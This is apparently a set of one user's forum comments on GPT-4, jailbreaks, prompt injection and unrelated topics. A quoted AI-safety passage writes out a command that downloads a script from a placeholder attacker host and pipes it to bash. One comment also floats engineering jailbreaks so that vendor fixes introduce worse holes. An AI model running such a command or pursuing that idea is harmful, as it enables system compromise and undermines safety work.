blueorange8

I don't either - not sure why noone has commented on this as far as i can see

My understanding is that you need a balance between omega 6 and omega 3 and omega 6 is not necessarily bad if its the right ratio between 6 and 3

This is not necessary a rebuttal, but I definitely have the same experience with coming up with creative ideas when I go walking or hiking without weed. I think walking is a great way to get your subconscious working effectively on something.

I didn't realize it was kinetic energy, I thought most of the weight of an atom was due to the strong nuclear force

If you guys think Chatgpt and gpt-4 are static you haven't been using it. The answers change constantly (and not because of the inherent randomness of the response but openai is constantly making it "safer" and improving it's output via humans) - basically when any article comes out saying "Chatgpt can't solve X puzzle) within a day suddenly it can solve that puzzle perfectly. I can't tell you how many jailbreaks just suddenly stopped working after being published on Reddit.

That's a good point, we can always filter the output externally like SQL injection checking

I believe that, when doing with these very large, general LLM's, there really is no practical way to protect from any 'injection' technique, short of actually removing certain strings from ever being completed by the LLM similar to as described here by andrej (which is still not really 100% unfortunately): https://colab.research.google.com/drive/1SiF0KZJp75rUeetKOWq...

*AI Safety:* What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is "colored red" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off "blocking them" is not satisfying. The GPT model itself must know based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."

Do wsl --update as administrator

If doesn't work the first time try a few times

This isn't an example of a coding problem, but just yesterday we had a very difficult technical problem come up that one of our partners, a very large IT company couldn't solve. None of our engineers knew how to solve it after trying for a few days. I would say I'm an expert in the industry and have been doing this over 20 years as a developer. I thought I knew the best way to solve it, but I wasn't sure exactly. I asked ChatGPT(GPT-4) and the answer it gave, although not perfect in every way, gave pretty much exactly the method we needed to solve the issue.

It's a bit scary because knowing this stuff is sort-of our secret sauce and GPT-4 was able to give an even better answer than I was able to give. It helped us out a lot. We are now taking the solution back to the customer and will be implementing it.

A few additional thoughts:

1. I knew exactly what type of question to ask it to get the right answer (i.e. if someone used a different prompt maybe they would get a different answer) 2. I knew immediately that the answer it gave was what we needed to implement. Some parts of the answer were not helpful or misleading and i was able to disregard those parts. Maybe someone else would have to take more time figuring it out.

I imagine future versions of GPT will be better at both points.

Unfortunately this seems to be true of a lot of people that don't have tesla's as well ;)

Ya seems he is upset he missed out

I agree with you that the "amazing" part is the query understanding.

There are two really big things I'm excited about:

1. It really understands what I am asking. What my meaning is. Gpt-4 is way way better even than gpt-3.5 at this. This is something truly different that a computer has never been able to do and (hopefully) will only get better at it. This really truly changes everything in how we interact with computers. We shouldn't be downplaying this. This is real. Today. At the same time a lot of this turning "understanding" into useful output comes at a huge amount of work on the RLHF side so we shouldn't necessarily extrapolate into the future too much just based on the current progress of openai. It's still very difficult work.

2. Everyone is now paying attention to LLM's. When the world starts paying attention to things and engineers start hacking things together, big companies start pouring money into ai, maybe Google wakes up for once, students start choosing ai as their career field, etc etc - amazing things happen. AI just went from niche to something that everyone is using and thinking about.

Guess I can't delete my comment but I guess "basically" in this context means a similar type implementation

It's the backend of retrieval plugin basically

And I would argue that just language is enough

It's basically creating an accurate world view

I don't believe they spent 7 months just "making gpt-4 safer" - I think they spent a very long time doing human reinforcement learning to make it better and now hope to speed that process up the next time using gpt-4 itself as the reinforcement.

If I ask it like this, if gets it right:

I have a chair in front of the TV and one in front of the computer. I placed a watch on the floor beneath the chair in front of the TV. Then, I swapped the positions of the chairs. Where is the watch now?

After swapping the positions of the chairs, the watch is now on the floor beneath the chair that was initially in front of the computer, since that chair is now in front of the TV.

Ya gpt-4 is still confused: (it's interesting cause it does realize the watch doesn't move but still gets it wrong)

Model: GPT-4

I have a chair in front of the TV and one in front of the computer. I put a watch under the chair in front of the TV. I swap the chairs. Where is the watch?

Work out step by step. Also define "under the chair". Is the question ambiguous?

Step 1: A chair with a watch under it is in front of the TV. Step 2: Another chair is in front of the computer. Step 3: The chairs are swapped.

To clarify the term "under the chair," let's define it as a watch placed beneath the chair, such that the chair is directly above the watch.

Now let's analyze the situation after swapping the chairs.

After Step 3:

The chair that was initially in front of the TV (with the watch under it) is now in front of the computer. The chair that was initially in front of the computer is now in front of the TV. As the question is about the location of the watch, it is important to note that the watch was not mentioned to be moved along with the chair. Therefore, the watch remains in its original position, which is under the chair that was initially in front of the TV.

The question could be considered ambiguous if one assumes that the watch was also moved along with the chair. However, since the watch's movement was not explicitly mentioned, it is reasonable to assume that the watch remained in its original position during the chair swap.

So, the watch is still under the chair that was initially in front of the TV, which is now in front of the computer.

That Goat wolf cabbage problem gpt-4 can solve already

Were you able to integrate any of your data into it yet ?

If they ever do become an independent company you can be sure that Microsoft would already have sucked them dry. Microsoft will never let them go now as long as they are valuable.

Now it's time to hack the guys implementing the fixes. Since they are so fast fixing it they probably don't have time to do much qa.

So design a new jailbreak, advertise it widely, and make sure it's designed in such a way that the fix that the engineers implement creates a much more exploitable and serious vulnerability

Using GPT-4 it not only solved this correctly but it generated the linear equations for me:

Let's represent the number of horses as x, the number of chickens as y, and the number of eggs as z. We are given:

The cost of a horse is 15 dollars, a chicken is 1 dollar, and an egg is 25 cents (0.25 dollars). You can spend up to 100 dollars. You want to buy a total of 100 items. We can represent these conditions as a system of linear equations:

15x + y + 0.25z = 100 (Total cost) x + y + z = 100 (Total items) We can solve this system of equations step by step:

Step 1: Solve the second equation for one of the variables, say z. z = 100 - x - y

Step 2: Substitute this expression for z in the first equation: 15x + y + 0.25(100 - x - y) = 100

Step 3: Simplify the equation and solve for y in terms of x. 15x + y + 25 - 0.25x - 0.25y = 100 14.75x + 0.75y = 75

y = (75 - 14.75x) / 0.75

Step 4: Find integer values for x and y that satisfy the equation. We'll loop through possible values of x and check if the corresponding value for y is an integer:

(Deleted some)

Now, we can calculate z using the value of x and y:

z = 100 - x - y = 100 - 0 - 100 = 0

So, you should purchase 0 horses, 100 chickens, and 0 eggs to reach a total of 100 items and spend exactly 100 dollars.

Yes this is exactly right. In my case the business has been 12 years and now we are probably valued around $65m. 12 years is a really long time. I never would have thought it would take this long, but also I never would have expected to have the success we have had. I often look at other startups and I think to myself — This was really freaking hard to build this business bootstrapped, but it wasn’t impossible. It also didn’t take any special skills. It just took determination and hard work and continuing to do that for a long time - and i wonder why they don’t try the same thing I did. It must be because people underestimate the impact of hard work over time. The key thing is don’t die and continue growing, even if its a small amount. Continue fixing things, getting better, getting more customers, etc. Just like you said above.

In the case of my business i wasn’t thinking long term, i just was obsessively focused on it and never gave up. I think the human mind is just really poorly equipped to think long term and there are many many opportunities out there for people who can.